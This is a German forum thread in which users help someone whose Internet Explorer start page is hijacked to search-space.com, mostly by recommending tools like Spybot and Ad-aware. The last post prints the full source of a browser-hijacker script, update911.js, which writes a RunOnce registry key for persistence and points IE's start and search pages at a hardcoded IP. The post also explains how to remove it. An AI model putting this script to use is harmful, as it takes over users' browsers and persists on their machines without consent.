Problem mit Internet Explorer

[herrmannfrn 10]

Hallo Zusammen

Ich habe ein kleines Problem mit einen XP Prof Rechner.

Und zwar

 

Wenn ich eine Internet Verbindung aufbaue schaut es im ersten Moment so aus als wenn alles Ok wäre,

gehe ich aber z.B auf eine Suchseite oder auf einer Seite auf einen Link komme ich nicht mehr weiter.

Die Verbindung gefriert praktisch ein.

 

Wenn ich dann den I-Explorer schließe und wieder öffne hab ich dann als Startseite http://www.search-space.com und die bekomme ich nicht mehr weg.

Außerdem steigt die CPU Auslastung der Svchost.exe auf 99%.

 

Habe volgendes schon probiert.

 

Regedit durchsucht nach dieser Seite alle gefundenen Einträge entfernt.

Explorer auf diese Einträge durchsucht.

Norten Sec Update und Virenprüfung laufen lassen.

Blaster32 tool laufen lassen.

 

Ergebnis = Null

 

Wenn ich ins Internet gehe und den I-Explorer erneut starte steht die Seite wieder drin.

 

Weis nix mehr

 

Vielleicht kann mir jemand weiterhelfen, wäre sehr sehr sehr dankbar.

 

Mfg

Herrmannfrn

[nightwatcher 10]

Hallo,

 

es gibt im Internet spezielle Programme die deinen Rechner nach genau soetwas durchsuchen und dan ggf. die Sachen entfernen.

Such nach yet another Warner

 

oder einfach http://www.yaw.at

[Haraldino 10]

Hi,

 

ich kann Dir da Spybot empfehlen.

 

http://www.safer-networking.org/index.php?lang=de&page=news

 

mfg Haraldino

[herrmannfrn 10]

Danke zusammen

 

Werde dies gleich mal heute Abend testen sollte es nicht bringen melde ich mich wieder.

 

mfg

Herrmann Frank

[nightwatcher 10]

Hallo,

 

ignoriere das was ich eben geschrieben habe, ich meinte eignetlich spybot.

Yet Another Warner ist nur gegen Dialer.

 

SORRY

[günterf 45]

Hi!

 

Gute Erfahrungen habe ich auch mit Ad-aware gemacht!

 

http://www.lavasoftusa.com/

 

Auf jeden Fall hast Du Dir mächtig etwas eingefangen.

 

Suche einmalaus dieser seltsamen Seite ob es dort noch eine andere URL gibt und wenn ja, scanne Deine Registry auch danach.

[herrmannfrn 10]

Hallo zusammen

 

habe die tools Down geladen und inst.

Der gewünschte erfolg blieb aber denoch aus.

 

Bekomme weiterhin immer diese Startseite.

Und wenn ich auf einer Seite z.B auf einen Link gehe friert das ganze ein also der I-Explorer reagiert dann nicht mehr.

 

Ich glaube da kann man nur noch neu Installieren.

 

mfg

Herrmannfrn

[Velius 10]

Hi

 

hast su schon die Sys- und Eventlogs angeschaut?

Habe schon gute Erfahrungen damit gemacht. :suspect:

 

Greetz

[nightwatcher 10]

Ich habe auch keine Idee mehr dazu,

 

also würde ich an deiner Stelle auch einfach mal den IE neu installieren und gucken, ob es was bringt.

[Haraldino 10]

Hi,

 

hast du bei spybot zuerst den update gemacht und gestartet??

wenn nicht - update - dann nochmal starten.

 

mfg Haraldino

[auer 10]

Suche hier im Board nach google hosts - da gibt es ein Problem mit der Hosts-Datei, die kann verschoben werden.

 

-------------

Gruß, Auer

[herrmannfrn 10]

Danke zusammen

 

werde die neuen Vorschläge ausprobieren melde mich dann wieder.

 

mfg

Herrmannfrn

[Haraldino 10]

Hi,

 

habe hier einen Link für Dich - vielleicht hilft er Dir.

 

http://spotlight.de/zforen/sec/m/sec-1070753358-768.html

 

mfg Haraldino

[fragaholic 10]

Servus alle.

Hab genau das gleiche Problem... (gleiche Seite usw.)

Hab alles ausprobiert, nix hilft. Benutz im Moment Mozilla Firebird, denn dem macht das gar nix aus. werde dann bei Zeiten mal formatieren.

[Dr Kiffer 10]

Also ich hab bei mir in der registry einen eintrag zu einer javascript datei namens update911.js gehabt die folgendes beinhaltet:

 

var url = "http://81.211.105.9/index.php?v=1";

var burl = "http://81.211.105.9/search.php?v=1";

var fso = new ActiveXObject("Scripting.FileSystemObject");

var tfolder = fso.GetSpecialFolder(0);

var filepath = tfolder + "\\update911.js";

var Shell = new ActiveXObject("WScript.Shell");

Shell.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\tlc",filepath);

Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page",url);

Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Page",url);

Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Bar",burl);

Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Use Search Asst","no");

Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Use Custom Search URL",1,"REG_DWORD");

 

 

Dadurch wurde halt immer meine startseite bei einem neustart geändert!

 

Der Eintrag war unter

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

 

könnte allerdings genausogut unter

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

sein!

 

Einfach mal schauen! Allerdings nach einem virendefinitions update wurde diese datei als Virus erkannt unter dem namen

VBS.StartPage keine ahnung ob es da noch mehr ausführungen von gibt!

Einfach diese datei löschen und den registry eintrag auch dann klappts auch wieder mit der Startage :)

 

Gruß

 

Dr.Kiffer